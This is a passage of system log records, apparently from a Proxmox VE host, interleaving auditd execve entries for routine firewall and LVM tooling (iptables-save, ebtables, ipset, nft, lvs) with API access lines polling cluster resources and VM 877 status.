msg=audit(1781965185.731:64545): arch=c000003e syscall=59 success=yes exit=0 a0=5a0630063ac8 a1=7ffd7d95f3a0 a2=5a063a47e680 a3=5a063004724e items=2 ppid=62009 pid=62011 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965495806,"@rawstring":"node=pve type=EXECVE msg=audit(1781965495.806:65869): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964415767,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964415.767:60923): arch=c000003e syscall=59 success=yes exit=0 a0=63c28e138e90 a1=63c28e135c10 a2=63c28e117680 a3=5 items=2 ppid=58485 pid=58491 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965945516,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:32:24 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 508"} {"@timestamp":1781965185730,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965185.730:64544): arch=c000003e syscall=59 success=yes exit=0 a0=7ffd7d95f360 a1=5a063a485310 a2=5a063a47e680 a3=5 items=2 ppid=62009 pid=62010 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965495802,"@rawstring":"node=pve type=EXECVE msg=audit(1781965495.802:65868): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964415764,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964415.764:60922): arch=c000003e syscall=59 success=yes exit=0 a0=63c28017fac8 a1=7ffd819aede0 a2=63c28e117680 a3=63c28016324e items=2 ppid=58485 pid=58487 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965943798,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:32:23 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 502"} {"@timestamp":1781965185723,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965185.723:64542): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=62009 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965495800,"@rawstring":"node=pve type=EXECVE msg=audit(1781965495.800:65867): argc=1 a0=\"date\""} {"@timestamp":1781964415763,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964415.763:60921): arch=c000003e syscall=59 success=yes exit=0 a0=7ffd819aeda0 a1=63c28e11e310 a2=63c28e117680 a3=5 items=2 ppid=58485 pid=58486 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965943798,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:32:23 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781965185715,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965185.715:64541): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62008 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965495796,"@rawstring":"node=pve type=EXECVE msg=audit(1781965495.796:65865): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964415758,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964415.758:60919): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=58485 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965943798,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:32:23 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1107"} {"@timestamp":1781965185709,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965185.709:64540): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62007 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965495790,"@rawstring":"node=pve type=EXECVE msg=audit(1781965495.790:65864): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964415752,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964415.752:60918): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58484 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965943798,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:32:22 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 923"} {"@timestamp":1781965185703,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965185.703:64539): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0f11b0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62006 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965495783,"@rawstring":"node=pve type=EXECVE msg=audit(1781965495.783:65863): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964415745,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964415.745:60917): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58483 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965941761,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:32:21 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1118"} {"@timestamp":1781965185695,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965185.695:64538): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62005 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965495776,"@rawstring":"node=pve type=EXECVE msg=audit(1781965495.776:65862): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964415741,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964415.741:60916): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc139c50 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58482 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965941761,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:32:21 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 508"} {"@timestamp":1781965185691,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965185.691:64537): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=618e5ae5f740 items=0 ppid=1156 pid=62004 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781965495767,"@rawstring":"node=pve type=EXECVE msg=audit(1781965495.767:65861): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964415734,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964415.734:60915): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0eb320 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58481 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965941761,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:32:20 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 936"} {"@timestamp":1781965185689,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965185.689:64536): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecb60d7660 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62004 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781965495763,"@rawstring":"node=pve type=EXECVE msg=audit(1781965495.763:65859): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781964415728,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964415.728:60914): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb6ceed10 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58480 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965940774,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:32:20 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1107"} {"@timestamp":1781965185685,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965185.685:64535): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc139ba0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62003 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965495757,"@rawstring":"node=pve type=EXECVE msg=audit(1781965495.757:65858): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964414971,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964414.971:60913): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73ec1c0 a1=64f8d73b6330 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=58477 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965940774,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:32:19 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 508"} {"@timestamp":1781965185678,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965185.678:64534): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecb9892a90 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62002 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965495751,"@rawstring":"node=pve type=EXECVE msg=audit(1781965495.751:65857): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964414943,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964414.943:60912): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73dd600 a1=64f8d73be760 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=58476 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965940774,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:32:19 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781965185672,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965185.672:64533): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc139c60 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62001 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965495745,"@rawstring":"node=pve type=EXECVE msg=audit(1781965495.745:65856): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964414276,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964414.276:60911): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=58475 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965939764,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:32:18 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 926"} {"@timestamp":1781965185669,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965185.669:64532): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb9892a90 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62000 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965495741,"@rawstring":"node=pve type=EXECVE msg=audit(1781965495.741:65855): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964414269,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964414.269:60908): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=58474 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965938769,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:32:18 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 511"} {"@timestamp":1781965185663,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965185.663:64531): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8ae4680 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61999 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965495735,"@rawstring":"node=pve type=EXECVE msg=audit(1781965495.735:65854): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781964409262,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964409.262:60905): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=58473 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965938769,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:32:17 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1118"} {"@timestamp":1781965185655,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965185.655:64530): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61998 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965495729,"@rawstring":"node=pve type=EXECVE msg=audit(1781965495.729:65853): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964409253,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964409.253:60902): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=58472 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965937750,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:32:16 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1107"} {"@timestamp":1781965185649,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965185.649:64529): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61997 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965495721,"@rawstring":"node=pve type=EXECVE msg=audit(1781965495.721:65852): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964405717,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964405.717:60899): arch=c000003e syscall=59 success=yes exit=0 a0=615f6024cb20 a1=615f60258a30 a2=615f60226680 a3=5 items=2 ppid=58465 pid=58471 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965937750,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:32:16 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 935"} {"@timestamp":1781965185645,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965185.645:64528): arch=c000003e syscall=59 success=yes exit=0 a0=61d3859990e0 a1=61d385995e60 a2=61d385977680 a3=5 items=2 ppid=61990 pid=61996 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965495717,"@rawstring":"node=pve type=EXECVE msg=audit(1781965495.717:65851): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964405714,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964405.714:60898): arch=c000003e syscall=59 success=yes exit=0 a0=615f4bb69ac8 a1=7ffdacf64e20 a2=615f60226680 a3=615f4bb4d24e items=2 ppid=58465 pid=58467 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965936748,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:32:15 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 503"} {"@timestamp":1781965185642,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965185.642:64527): arch=c000003e syscall=59 success=yes exit=0 a0=61d371fffac8 a1=7ffd7aeeb800 a2=61d385977680 a3=61d371fe324e items=2 ppid=61990 pid=61992 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965495714,"@rawstring":"node=pve type=EXECVE msg=audit(1781965495.714:65850): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964405713,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964405.713:60897): arch=c000003e syscall=59 success=yes exit=0 a0=7ffdacf64de0 a1=615f602481c0 a2=615f60226680 a3=5 items=2 ppid=58465 pid=58466 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965936748,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:32:15 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781965185640,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965185.640:64526): arch=c000003e syscall=59 success=yes exit=0 a0=7ffd7aeeb7c0 a1=61d38597e310 a2=61d385977680 a3=5 items=2 ppid=61990 pid=61991 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965495713,"@rawstring":"node=pve type=EXECVE msg=audit(1781965495.713:65849): argc=1 a0=\"date\""} {"@timestamp":1781964405709,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964405.709:60895): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=58465 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965935739,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:32:15 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 507"} {"@timestamp":1781965185637,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965185.637:64524): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=61990 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965495705,"@rawstring":"node=pve type=EXECVE msg=audit(1781965495.705:65847): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964405703,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964405.703:60894): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58464 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965935739,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:32:14 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 935"} {"@timestamp":1781965185627,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965185.627:64523): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61989 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965495697,"@rawstring":"node=pve type=EXECVE msg=audit(1781965495.697:65846): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964405697,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964405.697:60893): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58463 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965934736,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:32:13 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1095"} {"@timestamp":1781965185619,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965185.619:64522): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61988 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965495690,"@rawstring":"node=pve type=EXECVE msg=audit(1781965495.690:65845): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964405691,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964405.691:60892): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58462 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965934736,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:32:13 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1100"} {"@timestamp":1781965185613,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965185.613:64521): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0b60c0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61987 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965495683,"@rawstring":"node=pve type=EXECVE msg=audit(1781965495.683:65844): argc=2 a0=\"ipset\" a1=\"save\""} 